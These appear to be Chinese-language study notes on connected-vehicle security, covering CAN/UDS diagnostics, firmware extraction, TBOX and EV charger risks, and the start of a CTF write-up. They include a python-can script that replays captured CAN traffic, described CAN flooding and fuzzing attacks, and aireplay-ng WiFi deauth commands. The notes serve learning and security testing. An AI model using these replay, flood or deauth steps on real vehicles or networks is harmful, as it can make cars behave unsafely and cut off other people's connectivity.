车联网

CAN总线协议

网络内的节点个数在理论上不受限制,可在各节点之间实现自由通信

1.通信机制

通过高低电压来传输0、1,有两条线可以传输电压信息,分别为CAN高(CAN_H)和CAN低(CAN_L)。

电压 电压
CAN_H 2.5V 3.5V
CAN_L 2.5V 1.5V
传输信号 1(隐式) 0(显式)

差分电压CAN_diff = 0V,表示逻辑“1”,为隐性;

差分电压CAN_diff = 2V,表示逻辑“0”,为显性;

2.帧解析

image-20230706111321971

主要关注数据场。

还有CANFD是基于CAN协议的扩展协议

3.ISO-TP协议

具体协议如下

  • 单帧:数据域地第一个字节的高四位的十六进制值为0时,代表单帧数据。第一个字节的低四位代表数据长度,比如一个CAN帧02 10 01 00 00 00 00 00,即第一个字节为02,高四位为0,代表单帧,低四位为2,代表数据长度为2,即为后面的10 01
  • 首帧:在多帧传输中,数据域的第一个字节的高四位的十六进制值为1时,代表这是多帧数据传输的第一帧,数据域的第一个字节的低四位与第二个字节代表数据帧的长度。比如一个CAN10 14 2E F1 90 01 02 03 ,即第一个字节为10,高四位为1,代表这是多帧数据传输的第一帧,低四位为0,加上第二个字节14,那么代表该次多帧传输会传输0x014个字节,后面的2e f1 90 01 02 03即为传输的有效数据,一直到不为连续帧,中间的即为总的0x014个字节数据。
  • 连续帧:在多帧传输中作为首帧的后续帧,数据域的第一个字节的高四位为2,第一个字节的低四位为连续帧的编号。比如一个CAN21 04 05 06 07 08 09 0A,即第一个字节为21,高四位为2,代表这是连续帧,低四位为1,代表这是连续帧中编号为1的连续帧,后面的04 05 06 07 08 09 0a 即为传输的数据。
  • 流控帧:用于调节连续帧发送的速率。流控帧数据域的第一个字节的高四位为3

4.SAE J1979协议

该协议属于应用层协议,对应国标为ISO 15031-5,定义了10种模式

  • 模式01:请求动力系诊断数据,如发动机转速、温度、车速等
  • 模式02:请求冻结帧数据,冻结帧数据时在故障发送和故障码被定义时存储的,用于反映故障发生时的环境信息,便于处理故障。
  • 模式03:请求排放相关的诊断故障码,故障码的定义见ISO 15031-6
  • 模式04:清除/复位与排放相关的诊断信息,即维修后需要清除相关的故障码和冻结帧数据。
  • 模式05:请求氧传感器检测结果,显示氧传感器检测页面和一些测试结果。
  • 模式06:请求指定检测系统的测试结果,除氧传感器外还有其他的比如催化剂系统、蒸发系统等需要进行检测。
  • 模式07:请求排放相关的未决故障码,维修人员通常用这个来确认是否已经正确维修且清除了故障码。
  • 模式08:请求组件/系统的控制操作,具体功能由车辆制造商指定。
  • 模式09:请求车辆信息,比如车厂、型号、品牌、发动机号等。
  • 模式0A:请求排放相关的永久故障码,这类故障码一旦产生就不能清除改写。

比如请求车架号的CAN帧,所属模式为09,信息类型为02,消息长度为02,那么单帧传输,实际请求数据的CAN帧为

02 09 02 00 00 00 00 00

返回的数据为

1
2
3
10 14 49 02 01 31 47 31
21 4a 43 35 34 34 34 52
22 37 32 35 32 33 36 37

其中首帧中49即为针对09的正响应。

5.UDS诊断协议

可参考:ISO 14229_小趴菜_自动驾驶搬砖人的博客-CSDN博客

通过对数据场的各个字节判断来得到相关的指令

image-20230706111731754

  • Tester:代表测试方
  • ECU:代表车机的ECU模块
  • 网络层字节(蓝色块):数据场的第一个字节,被网络层占用,一般不用管
  • SID标识字节:数据场的第二个字节,代表SID(Service Identifier)诊断服务ID,表示服务标识。
    • Tester:比如这里Tester请求0x10服务,代表想进入编程模式。
    • ECU:同样也是在这个字节进行服务反馈,比如Tester请求0x10服务,那么ECU返回的数据场的第二个字节SID就有如下几种表示
      • 肯定:返回[SID+0x40],这里就是0x10+0x40=0x50,代表ECU给出肯定响应,同意进入编程模式
      • 否定:返回[0x7F],然后SID下一个字节表示否定的服务,这里请求的是0x10服务,那么SID下一个字节就会是0x10,表示否定0x10服务,不能进入编程模式。同时SID后两个字节位置会显示NRC否定响应码,即图中红色部分,不同的NRC有不同的含义,完整版请参照ISO14229附录A。
  • 子功能/否定服务SID标识:数据场的第三个字节,在Tester和ECU端有不同的含义
    • Tester:表示子功能服务,比如0x10服务下还具有01 Default默认会话,02 Programming编程会话,03 Extended扩展会话几个子功能,就在这里标识出来。
    • ECU:同样表示整体服务的反馈
      • 肯定:返回正常的子功能表示,比如这里第三行中ECU对第二行中Tester要求的0x10服务下的03子服务进行了肯定反馈。
      • 否定:这个在SID标识字节中进行了介绍,和主服务显示一致。

其他的后续理解

大致的服务如下,主要用到的是具有背景颜色的部分

image-20230706113220550

注:特殊的NRC-0x78,不太懂

6.UDS重点服务

0x10诊断会话服务

Diagnostic Session Control服务

0x10包含3个子功能,01 Default默认会话,02 Programming编程会话,03 Extended扩展会话,ECU上电时,进入的是默认会话(Default),通过会话模式来进行权限控制。当进入一个非默认会话模式,就会有定时器开始计时,一段时间没有请求,时间限制到了就退回到默认会话01。有一个0x3E服务可以使得诊断保持在非默认会话状态。

0x27安全访问

服务流程

ECU当中有很多数据是整车厂独有的,并不希望开放给所有客户,它需要做一个保密的设定。在读取一些特殊数据的时候,要先进行一个安全解锁。ECU上电之后是一个锁定的状态(Locked),通过0x27服务,加上一个子服务,再加上一个钥匙,这样的服务请求可以进行解锁。具体的形式如下,这里的n具体情况具体设置。

未命名绘图.drawio

比如n=1的情况,即2n-1=1,子服务为0x01,如下所示,其中AA~DD即为种子Seed

aaa

具体的例子如下

1
2
3
4
5
6
7
例子:
Tester: 02 27 05 00 00 00 00 00 安全访问,05子功能
ECU: 06 67 05 08 27 11 F0 00 肯定响应,回复了对应安全级别的种子
Tester: 06 27 06 FF FF FF FF 00 发送密钥,4个FF。注意06是与05成对使用的。

ECU: 03 7F 27 78 00 00 00 00 若为否定响应,7F+27+NRC
ECU: 02 67 06 00 00 00 00 00 若为肯定响应,通过安全校验

加密算法

加密算法主要有三个主体:

  • 第一个主体seed,通常与ECU的运行时间有关系,是主料,在27服务发送奇数子功能时回复。seed通常一直在发生变化,无法发现其规律。

  • 第二个主体通常和ECU有关。比如我们先用22服务读取ECU的SN,取其中4个字节,作为“调味料”参与,显然这个“调味料”对于这个ECU来说是不变的,也能通过22服务方便的读取到。

  • 第三个主体是执行次数,就是算法要执行几轮。执行1轮和2轮得到的结果肯定是不一样的

举个简单的算法,比如seed和ECU的SN数据的前4个字节加一下,循环左移两位,执行3轮,return这个数作为key,结束。安全验证就是一把锁,算法越复杂,短时间解开的成本越高,越不易被破解掉。如果失败次数过多还会触发惩罚机制,一段时间内都无法再尝试解锁,防止人为的破解。

0x22读取数据服务

  • Request(请求):22+DID(Data Identifier,通常是两个字节,代表要读取的数据标识符)

  • Response(响应):62+DID+Data(其中Data即为返回的数据)

实际的例子如下

1
2
03 22 F1 86 AA AA AA AA
04 62 F1 86 01 AA AA AA

这里的01即为返回的数据Data

其中DID有一部分已经被ISO 14229-1规定了。比如0xF186就是当前诊断会话数据标识符,0xF187就是车厂备件号数据标识符,0xF188就是车厂ECU软件号码数据ID,0xF189就是车厂ECU软件版本号数据标识符。

0x2E写入数据服务

  • Request(请求):2E+DID+Data
  • Response(响应):6E+DID

协议如下

  • 单帧:数据域地第一个字节的高四位的十六进制值为0时,代表单帧数据。第一个字节的低四位代表数据长度,比如一个CAN帧02 10 01 00 00 00 00 00,即第一个字节为02,高四位为0,代表单帧,低四位为2,代表数据长度为2,即为后面的10 01
  • 首帧:在多帧传输中,数据域的第一个字节的高四位的十六进制值为1时,代表这是多帧数据传输的第一帧,数据域的第一个字节的低四位与第二个字节代表数据帧的长度。比如一个CAN10 14 2E F1 90 01 02 03 ,即第一个字节为10,高四位为1,代表这是多帧数据传输的第一帧,低四位为0,加上第二个字节14,那么代表该次多帧传输会传输0x014个字节,后面的2e f1 90 01 02 03即为传输的有效数据,一直到不为连续帧,中间的即为总的0x014个字节数据。
  • 连续帧:在多帧传输中作为首帧的后续帧,数据域的第一个字节的高四位为2,第一个字节的低四位为连续帧的编号。比如一个CAN21 04 05 06 07 08 09 0A,即第一个字节为21,高四位为2,代表这是连续帧,低四位为1,代表这是连续帧中编号为1的连续帧,后面的04 05 06 07 08 09 0a 即为传输的数据。
  • 流控帧:用于调节连续帧发送的速率。流控帧数据域的第一个字节的高四位为3

实际的例子如下

1
2
3
4
5
10 14 2E F1 90 01 02 03
30 00 0A AA AA AA AA AA
21 04 05 06 07 08 09 0A
22 0B 0C 0D 0E 0F 10 11
03 6E F1 90 AA AA AA AA

总共5个帧,一帧一帧的看

  • 第一帧:10 14 2E F1 90 01 02 03

    • [10 14]:根据ISO15765-2标准0x10代表这是一组多帧中的首帧(属于传输层的信息),一会要发0x14=20个字节的有效数据。

    • [2E F1 90]:2E为写入服务,F190为DID,即为VIN码

    • [01 02 03]:这是将要写入VIN码的数据,为第1字节到第3字节

    代表想将这三个字节写入到VIN码数据,这件事情正常是发生在车辆下线时。

  • 第二帧:30 00 0A AA AA AA AA AA

    • [30 00 0A]:是TP层(传输层)的信息,表示这是一个流控帧,ECU发出的,表示可以一直连续发,但连续帧最短的间隔时间要求是0xA,即为10ms。
  • 第三帧:21 04 05 06 07 08 09 0A

    • [21]:是TP层的信息,表示这是一个连续帧,序号为1。
    • [04 05 06 07 08 09]:这是VIN码的第4字节到第10字节。
  • 第四帧:22 0B 0C 0D 0E 0F 10 11

    • [22]:是TP层的信息,表示这是一个连续帧,序号为2。
    • [0B 0C 0D 0E 0F 10 11]:这是VIN码的第11字节到第17字节。
  • 第五帧:03 6E F1 90 AA AA AA AA

    • [03]:是TP层的信息,这里说的这个TP层的信息是传不到应用层的,即这是一个用完就会抛弃的信息。03的0表示这是一个单帧,3表示后面有3个有效字节。
    • [6E]:6E表示我们确认执行了2E服务的请求,这个请求写入的DID是F1 90,即VIN码。

注:对于0xF190等DID不支持直接写入数据的,需要用0x10服务来进行会话转换。也就是说,对于写数据的请求,一般来说需要在一个扩展会话,和安全等级1的状态下才能进行。

0x19读DTC服务

DTC(diagnostic trouble code):如果系统检测到了一个错误,它将存储为DTC。DTC可表现为:一个显而易见的故障;通讯信号的丢失(不会使故障灯亮起);排放相关的故障;安全相关的错误等。DTC可以揭示错误的位置和错误类型,通常占用3个字节。一个DTC信息占用4个字节。最后一个字节是DTC的状态,不是错误信息的一部分。

image-20230706214204610

  • 第一个字节:在乘用车中,前两个bit代表P/C/B/U(动力Power/底盘Chassis/车身Body/网络Network)中的一个,之后六个bit是数字,合在一起的样子形如”P01”,其中P即为Power,形如用00/01/10/11分别表示P/C/B/U

比如”U31 2345”这个故障码:U就是11,31就是110001,所以第一个字节即为11110001=F1,那么这个DTC就是 F1 23 45 09,其中09表示的是状态掩码。

常用的子服务

19拥有28个子服务(Sub-Function),常用的有:

  • 01 (读取符合掩码条件的DTC数量)(必须支持)

    后面的字节表示DTC状态掩码,若为01表示我想读当前故障,若为08表示我想读历史故障,若为09表示当前故障和历史故障都想读。

    在肯定回复时,帧为59 01 09 01 00 01 XX,组合应该是59(19+40) - 01(子服务) - 09 (本ECU所支持的掩码条件)- 01 DTC的格式(ISO14229-1为01) - 00 01 (目前满足条件的DTC有一个)

  • 02(读取符合掩码条件的DTC列表及其状态)(必须支持),后面的字节表示DTC状态掩码,解读同上。

    肯定回复时,帧为59 02 09 xx xx xx 01,59 - 02(子功能)- 09(本ECU所支持的掩码条件) - XX XX XX ( DTC,车厂定义 ) - 01 (这个故障码怎么了,01表示当前故障)

  • 04(读取快照信息),也叫冻结帧。

  • 06(读取扩展信息)。

  • 0A(读取ECU支持的所有DTC列表及其状态)(必须支持)。这个就不必发DTC状态掩码了。所有支持的DTC列表及其状态都会打印出来。

0x14清除DTC服务

清除(复位)DTC格式,它可以改变DTC的状态。DTC状态中的八个位,除bit4和bit6外均会被清零,包含当前故障(TestFailed)和历史故障(ConfirmedDTC)。bit4和bit6这两个testNotCompleted开头的会被强制置1。3个FF代表清除所有DTC。

Request: 14 FF FF FF AA AA AA

Response:54 AA AA AA AA AA AA

0x2F与IO控制相关服务

该服务可以通过DID(数据标识符)来进行输入信号的替换和控制零部件负载输出,这是一个用在产线上较多的服务。该报文的请求至少由4个字节组成。第一个字节是2F,第二第三字节是DID,其中第二字节是高位。第四字节是input Output Control Parameter(并不算一个子功能),可以看做IO控制类型。

  • 其中IO控制类型分为4类:

    • 00是控制权还给ECU,Return Control To ECU。
    • 01是复位为默认值,Reset to Default。
    • 02是冻结当前的状态,Freeze Current State。
    • 03是短暂接管控制权,Short Term Adjustment。

    若控制类型是00-02这三种,请求报文是4个字节。若控制类型是03,请求报文的第五字节是控制代码,可以是数字量,比如01是开,00是关;也可以是模拟量,比如空调风门的开度。

例子如下

1
2
3
4
5
6
7
8
05 2F DD DD 03 00 AA AA ----03 00代表关闭开关
05 6F DD DD 03 00 AA AA ----ECU的肯定回复
05 2F DD DD 03 01 AA AA ----03 01 代表开启开关
05 6F DD DD 03 01 AA AA ----ECU的肯定回复
04 2F DD DD 00 AA AA AA ----将控制权还给ECU
05 6F DD DD 00 02 AA AA ----ECU的肯定回复
04 2F DD DD 01 AA AA AA ----复位IO为默认值
03 7F 2F 22 AA AA AA AA ----ECU否定回复,不支持

其中DD代表DID(Data Identifier)数据标识符

CAN总线测试

1.总线入口

CAN总线接入口在主驾驶和副驾驶的OBD口中接入;

OBD-II接口一般位于主驾和副驾的前脚下方。可用OBD-II接口信号转接器将信号转接出来,方便后面使用CAN-USB等硬件来选择接入不同的CAN总线

2.虚拟测试

在ubuntu上新建虚拟的CAN口进行测试

1
2
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

然后使用candump,cansend即可

1
2
candump vcan0
cansend vcan0 7df#0210010000000000

对应的python-can脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import can



def send_can_message(bus, message_id, data):
"""发送CAN报文"""
msg = can.Message(arbitration_id=message_id, data=data, is_extended_id=False)
try:
bus.send(msg)
print(f"Message sent on {bus.channel_info}")
except can.CanError:
print("Message NOT sent")

def receive_can_message(bus, expected_id):
"""接收特定ID的CAN报文"""
while True:
message = bus.recv(10.0) # 等待最多10秒
if message is not None:
if message.arbitration_id == expected_id:
print(f"Received message: {message}")
break
else:
print("Timeout occurred, no message received")
break


def main():
# 配置CAN接口,这需要根据您的CANoe配置来设置
#bus = can.interface.Bus(interface='pcan', channel='PCAN_USBBUS1', bitrate=125000)
bus = can.interface.Bus(interface='socketcan', channel='vcan0', bitrate=125000)
# 发送的CAN报文
send_id = 0x7a0
send_data = [0x02, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00]
send_can_message(bus, send_id, send_data)

# 等待并打印响应报文
receive_id = 0x7a8
receive_can_message(bus, receive_id)

if __name__ == "__main__":
main()

3.测试

(1)工具

将CAN总线与测试工具相连接,然后通过工具的USB口接入电脑

a)CANalyst-II

与该工具匹配的软件是CANPro,需要安装USB_CAN TOOL这款驱动软件,CANpro才能正常运行

b)PCAN-USB

与该工具匹配的软件是PCAN-View,需要安装PeakOemDrv这款驱动软件,PCAN-View才 能正常运行。

c)CANoe

与该工具匹配的软件同样也叫做CANoe,需要安装对应的驱动

d)Can-utils

一款安装在kali中的can渗透工具包,包含了许多CAN总线测试工具,比如candump、cansend、cansniffer、canplayer等。

  • 输入candump can0 –l 命令监听can总线数据并生成数据包
  • canplayer -I candump-xxxx-xx-xx_xxxx.log:发送监听保存的总线数据包

(2)攻击测试

a)CAN重放攻击

监听捕获can总线数据上的包,特别是控车指令包,再重放,查看车身有无异常响应。

b)CAN拒绝服务测试

发送大量仲裁包,使总线拒绝服务,不能再单独发数据包

c)CAN总线模糊测试

将CANalyst-II接入车身CAN总线,发送大量递归数据包,其中的异常包会使车辆失控,车窗,车灯,雨刷等开始不受控。

4.CAN重放逆向

连接PCAN,导入.asc文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python

"""
This example shows how sending a single message works.
"""

import can

import re
import os

from pwn import*

# Function to parse a line of the log file into a CAN message
def parse_can_message(line):
# Regular expression to match the structure of a CAN message in the log
can_msg_pattern = r'(\s*\d+\.\d+)\s+\d+\s+([0-9A-F]+)x\s+Rx\s+d\s+(\d+)\s+([0-9A-F ]+)'

match = re.match(can_msg_pattern, line)
if match:
timestamp = float(match.group(1))
message_id = int(match.group(2), 16)
dlc = int(match.group(3))
data = bytes(int(byte, 16) for byte in match.group(4).split())

return {
'timestamp': timestamp,
'message_id': message_id,
'dlc': dlc,
'data': data
}
else:
return None

def send_can_message(bus, message_id, data):
msg = can.Message(arbitration_id=message_id, data=data, is_extended_id=True)
try:
bus.send(msg)
print(f"Message sent on {bus.channel_info}: ID={message_id}, Data={data}")
except can.CanError:
print("Message NOT sent")

# Parse the log file
file_path = '/home/hacker/Desktop/Work/CAN/25sa.asc'

with open(file_path, 'r') as file:
lines = file.readlines()
parsed_messages = [parse_can_message(line) for line in lines if parse_can_message(line) is not None]


bus = can.interface.Bus(interface='pcan', channel='PCAN_USBBUS1', bitrate=125000)

for msg in parsed_messages:
pause()
#print("enter to send!")
send_can_message(bus, msg['message_id'], msg['data'])


然后依次重放每一个包,分析哪个包是指定的包。

防止重放:

LIN总线协议

专门为汽车开发的低成本串行通信网络,传输速率20Kb/s,通常一个LIN上节点数目小于12个,共有64个标识符

车载固件

固件通常由bootloader、内核、根文件系统及其他资源组成,根据嵌入式linux、嵌入式windows(WinCE)、windowsIOT内核及各种实时操作系统(RTOS)的区别,固件也有多种类型。

1.获取车载固件

没有车的情况下获取固件

  • 官网提供升级固件

  • 硬件调试接口JTAG获取固件

  • 读取Flash芯片获取固件

  • 通过串口获取车机系统Shell权限,进而对固件进行打包

  • 利用车机固件更新API,从云端获取更新固件

  • 云端信息泄露,如FTP弱口令或未授权接口获取车机固件

2.提取固件

提取方式

(1)车机有wifi功能,通过工程模式开启wifi热点,WiFi→FTP/TFTP→PC

在无线层面获取固件,是最理想的情况,这代表了根源的纯洁,固件还没有刷写入车机,其加密,校验,认证机制都是完整存在。

通常手段如下

  • FOTA下发升级过程中截取整个网段流量,从中打包逆向出升级固件包—— 已经非常少见,FOTA传输路径成熟,无法监听获取流量
  • 通过组网车载网络(wifi,热点,车载以太网),从端口接入系统,直接导出系统内的固件文件—— 前置条件是OTA的传输固件包有存储路径,否则只能导出来已经刷写好的系统组件,adb,ssh,nc,scp

(2)通过串口文件传输协议,直接提取固件,Uart→Xmodem/Ymodem/Zmodem→PC

物理层面的获取固件是可行性最大的,使用的硬件道具:jlink,ST-link,RT809,常用手段如下:

  • 串口通信传输:JTAG,SPI,SWD
  • 芯片提取:编程器

使用的硬件道具:jlink,ST-link,RT809

串口传输协议

Xmodem:

异步文件传输协议。分为标准Xmodem和1k-Xmodem两种,前者以128字节块的形式传输数据,后者字节块为1k即1024字节,并且每个块都使用一个校验和过程来进行错误检测。在校验过程中如果接收方关于一个块的校验和与它在发送方的校验和相同时,接收方就向发送方发送一个确认字节(ACK)。由于Xmodem需要对每个块都进行认可,这将导致性能有所下降,特别是延时比较长的场合,这种协议显得效率更低。

一个完整的数据帧一共132字节,其中包含128字节数据,数据帧以固定3字节帧头开始

  • 第一个是控制字符SOH(0x01)
  • 第二个是数据帧序号
  • 第三个是数据帧序号反码
  • 第四个是数据帧固定长度为128,不足128为使用CTRLZ(0X1A)进行补齐
  • 第五个是校验和

6-1634876115

Ymodem

Xmodem改良版,它可以一次传输1024字节的信息块,同时还支持传输多个文件。

  • 第一个是控制字符SOH(0x01)
  • 第二个是数据帧序号
  • 第三个是数据帧序号反码
  • 第四个是传输的文件名filename
  • 第五个是传输的大小filesize
  • 第六个是NULL部分,数据部分的128字节减去filename和filesize,剩下的用00填充
  • 第七个是校验和CRC

Zmodem

采用串流传输方式,传输速度最快。Zmodem数据帧:ZPAD + ZDLE + A + frame-type ZF3 ZF2 ZF1 ZF0 CRC-1 CRC-2

  • ZPAD+ZDLE:帧头

  • A:报头的数据是二进制格式

  • frame-type:帧类型

  • ZF3 ZF2 ZF1 ZF0:4个字节信息

  • CRC-1 CRC-2:校验和

支持这三种协议的工具分别是minicom和SecureCRT。

通过使用SecureCRT可以直接下载或上传文件,如果芯片系统里存在lrzsz,可以直接用Zmodem进行传输。

使用sz filename即可开始下载

3.获取Shell

硬件都会有调试接口,就是Uart。

Uart:通用异步收发传输器,是一种串行异步收发协议,应用十分广泛。Uart工作原理是将数据的二进制位一位一位的进行传输。在UART通讯协议中信号线上的状态位高电平代表’1’低电平代表’0’。当然两个设备使用UART串口通讯时,必须先约定好传输速率,也就是波特率。

典型的波特率有这些:300,1200,2400,9600,19200,38400,115200。(上述波特率并不全)

如果试过每一个波特率还是无法接收到可见字符,可能是两个问题:

  • 找错了串口

  • 可能它本身传输的数据是不可见字符

连接Uart需要三根线,分别是:

  • TX:发送数据端,要接对面设备的RX

  • RX:接收数据端,要接对面设备的TX

  • GND:保证两设备共地,有统一的参考平面

image-20230708170412699

车载无线通信

车载无线通讯技术由车载导航模块、车载无线通信模块、安全报警模块、行车状态记录模块、多媒体播放模块、数据采集模块、语音识别模块、地理信息系统模块八部分组成。所有的数据都通过车载信息中心进行处理、协调,并做出正确的反应。

1.WIFI

最常见的Wi-Fi安全类型是WEP,WPA和WPA2。

  • WPA2:带来了另外一系列安全和加密升级,最值得注意的是将高级加密标准(AES)引入消费者Wi-Fi网络。AES比RC4强得多(因为RC4已被多次破解),并且是当前许多在线服务所采用的安全标准。

  • WPA3:已经推出,目前是最高的安全等级,尚未暴露危险,WPA3为标准增加了更强大的192位加密

测试工具

  • Aircrack:Aircrack是目前最流行的WiFi密码破解工具。市面上能破解 WiFi加密的工具有很多,不外乎利用WEP安全漏洞或者暴力字典攻击的方式破解WPA/WPA2 PSK密码。WPA2 AES/CCMP加密依然是相对安全的选择。如果采用WPA2 PSK模式,那么你的密码长度最好是13位以上混合字符。在你的Wi-Fi网络被入侵或者“蹭网”之前,最好先用破解工具自我攻击一下。 Aircrack是一个开源的WEP/WPA/WPA2 PSK破解工具,可以运行在windows、Mac OS X、Linux和OpenBSD上。可以下载到Vmware镜像文件或Live CD文件。
  • Kismet:Kismet是一个开源的WiFi扫描器,包嗅探器和入侵政策系统,可以在windows、Mac OSX、Linux和BSD上运行。Kismet能显示AP详细信息,包括隐藏的SSID,还能捕获原始无线数据包,还可以将数据导入 Wireshark、TCPdump等工具进行分析。在windows环境,受驱动程序限制,Kismet只能与 CACE AirPcap无线网卡配合工作。但在Mac OSX和Linux上,Kismet可以兼容很多无线网卡
  • Wifiphisher:开源无线安全工具Wifiphisher能够对WPA加密的AP无线热点实施自动化钓鱼攻击,获取密码账户。由于利用了社工原理实施中间人攻击,Wifiphisher在实施攻击时无需进行暴力破解。WiFiphiser是基于MIT许可模式的开源软件,运行于Kali Linux之上。

WIFI deauth攻击

1.将无线网卡接入测试电脑Linux虚拟机(装有Aircrack-ng)

2.测试电脑使用Linux虚拟机

3.在kali的命令行中输入ifconfig,查看无线网卡是否成功连接至系统(出现了名为wlan0的无线网卡则是成功连接)

4.使用命令ifconfig wlan0 up启用无线网卡

image-20230709144403979

5.使用命令airmon-ng start wlan0 将网卡设置为监听模式(开启混杂模式才能嗅探所有经过网卡的数据包)

6.使用命令ifconfig查看网卡是否开启监听模式

7.监听模式开启成功后,使用命令airodump-ng wlan0对当前环境的无线网络进行嗅探,根据SSID确认攻击目标,并记录目标MAC(mon0为激活监听模式的无线网卡名称)

image-20230709144416743

8.使用命令aireplay-ng -0 100 –a AP的mac wlan0进行DeAuth攻击(-0 采用deauth攻击模式,100为攻击次数,-a 后跟AP的MAC地址,-c 后跟客户端的MAC地址)

image-20230709144430217

在攻击期间内,目标热点断开即为攻击成功

2.蓝牙

攻击类型

1、无ping码认证,设备冒充,获取车辆蓝牙连接,导致传输文件,播放音频,获取蓝牙日志存储

2、蓝牙dos攻击,使蓝牙无法连接,功能异常

3、蓝牙重放攻击,蓝牙钥匙控制指令泄露并重放

测试工具

BtleJuice框架:

BLE-Replay:

3.射频中继劫持

除开WIFI和蓝牙,整车还存在射频中继,GPS劫持,或者全频率干扰

车身的各类功能性频率都可以存在漏洞利用,tpms检测干扰,PEPS开车重置,车门钥匙死锁,甚至使板件波形破译,都存在问题

智能网联汽车安全

1.智能汽车

不同厂商的车联网实现架构不同,但总体架构可分为4部分:

  • 信息娱乐系统(IVI):IVI:早期以CD机的形式进行音频播放,在车联网功能推广后,目前的车载娱乐系统可以通过蜂窝网络接入互联网,并提供以下常见功能:实时导航,网页浏览,视频播放,手机投屏,语音控车等。车载信息娱乐系统通常具备一部分CAN总线操控能力,因此车载信息娱乐系统”功能外溢”现象产生的攻击面很可能会导致控车漏洞的产生。

  • 车载网关(TBOX):车载网关(Telematics BOX)。负责车机内部的以太网通信,同时提供联网能力,实现车端与云平台(TSP)的远程长连接。T-BOX具备一定CAN总线的能力,也是数字钥匙(手机控车)的实现载体。通过数字钥匙,用户可以通过手机对车辆进行远程操控(云钥匙)或者近场操控(蓝牙钥匙,NFC钥匙)。其中云钥匙的实现架构如下图所示:

  • 手机端车联网应用(APP):手机端车联网应用程序。多数车联网汽车厂商会向车主提供车联网应用程序,此类APP通常具备以下功能: 车主服务,应用商城,远程控车等。

  • 车联网云平台服务(TSP):车载信息服务提供商(TelematicsServiceProvider)。在车联网系统中以云的形式向用户侧与车辆侧提供以下服务:用户信息维护,车辆定位,状态监控等。

攻击路径:

图片1

车联网安全风险:

image-20230709153558408

OBD:On-Board Diagnostics

2.TBOX安全

TBOX通常是汽车用于联网的模块,又叫T盒、车载无线终端等,国外也称之为TSP(Telematics Control Unit)远程信息控制单元。上端与TSP(Telematics Services Provider)服务器相连,下端与CAN总线等其他汽车模块相连。通常会提供远程控制、车辆故障诊断、OTA升级、网络共享、蓝牙钥匙、载荷分析等功能

(1)基础概念

TBOX接口

通常可以分为三种,分别为天线、通信接口以及电源

  • 天线:蜂窝网络天线、WI-FI天线、GNSS天线、FM广播天线、蓝牙天线等
  • 接口:USB、Ethernet、CAN、UART等

通常来说接口有一定的特征,比如天线一般采用FAKRA(FAchKReis Automobil)连接器,这种连接器一般采用同轴电缆、单线单芯。此外颜色通常也有一定特征,比如蓝色用于GNSS、紫色用于蜂窝网络等

USB一般采用HSD(High-Speed Data)连接器,该接口常用于信息娱乐模块和显示装置。

TBOX结构

一般分为两种结构,一种是SoC和通信模组分离,一种是SoC和通信模组集成在一块。

SIM卡

大部分的TBOX采用eSIM卡(电子化的SIM卡),也有普通的SIM

MCU

一般TBOX上有一个MCU机械控制单元,负责与CAN总线进行通信

(2)TBOX安全威胁

一般的威胁有调试接口、固件提取、车联网服务平台(伪装成TBOX向云端发起攻击)、公网暴露(一些开启了Telnet的TBOX开放在云端)、CAN总线、协议安全

(3)TBOX使用

微信图片_20230913170516

如上TBOX的信息,分析可得为奔驰汽车,制造商为Harman,型号(Model)为HERMES 1.5 CN。通信方面可知,有蓝牙标签、WIFI模块WLAN-MAC:746FF7091E2E

右侧的进网许可也可以在网络上进行查询。

(4)设备上电

实际摸索把

(5)寻找入口

调试接口,实际摸索

充电桩安全

基础知识

充电桩由TCU(Traiff and Control Unit)计费控制单元、充电主控模块、功率控制模块、开关电源等等部分组成

接口

微信图片_20230914110640

架构

如上图所示,通常存在多种接口,包括CAN、串口、SIM卡槽等等,可以通过这些接口与其进行交互,常见的TCU架构如下

image-20230914110947544

充电插头

微信图片_20230914111233

其中相关的定义如下

触头编号/标识 额定电压和额定电流 功能定义
DC+ 750V/1000V 80A/125A/200A/250A 直流电源正极,连接直流电源正极与电池正极
DC- 750V/1000V 80A/125A/200A/250A 直流电源负极,连接直流电源负极与电池负极
PE —– 保护接地,连接供电设备地线和车辆电平台
S+ 0~330V 2A 充电通信CAN_H,连接非车载充电机与电动汽车的通信线
S- 0~330V 2A 充电通信CAN_L,连接非车载充电机与电动汽车的通信线
CC1 0~330V 2A 充电连接确认
CC2 0~330V 2A 充电连接确认
A+ 0~330V 20A 低压辅助电源正,连接非车载充电机为电动汽车提供的低压辅助电源
A- 0~330V 20A 低压辅助电源负,连接非车载充电机为电动汽车提供的低压辅助电源

充电协议

充电机与电池管理系统BMS(Battery Management System)进行通信时基于CAN通信协议,速率为250kbit/s,使用29bit标识符的CAN扩展帧,通信地址固定,无法更改。充电机地址86(0x56)BMS地址244(F4)

可见GBT-27930-2015标准规定的具体内容

image-20230914140412675

安全风险

主要有一下几个方面

  • 调试接口:常见的接口测试
  • 开放服务漏洞:FTP、SSH弱口令等
  • 固件漏洞:提取固件之后分析硬编码、算法等等
  • CPU卡:监听串口数据,获取用户卡片加密密码等
  • BMS通信协议:伪造充电报文、伪装其他用户充电
  • 通信协议:充电桩与主站之间采用MQTT协议,可能存在潜在的漏洞

TIPS

实际上测试的时候,由于充电桩使用静态IP,那么电脑与充电桩直连时,无法获取有效的IP,可以用netdiscover命令进行扫描,对应命令为netdiscover -r 192.168.1.1/16扫描整个网段即可发现充电桩的相关IP

CTF题目

2020网鼎Teslaaaaa

拿到ecu_can_log.asc文件,是can信息内容,可以用savvycan打开查看

image-20230913090346445

接下来一步一步分析

第一步/请求进入编程会话

10 02进入诊断控制会话,请求进入编程会话

1
2
9.498709 1  7DF             Tx   d 8 02 10 02 AA AA AA AA AA
9.499693 1 7B0 Rx d 8 06 50 02 00 32 01 F4 00

正反馈06 50,允许进入

第二步/请求27种子

请求27安全访问,请求种子,对应子服务为05,即27 05

1
2
9.740585 1  730             Tx   d 8 02 27 05 AA AA AA AA AA
9.741697 1 7B0 Rx d 8 06 67 05 11 22 33 44 00

正反馈06 67 05,返回种子信息,对应种子信息为11 22 33 44,大端序,对应0x11223344

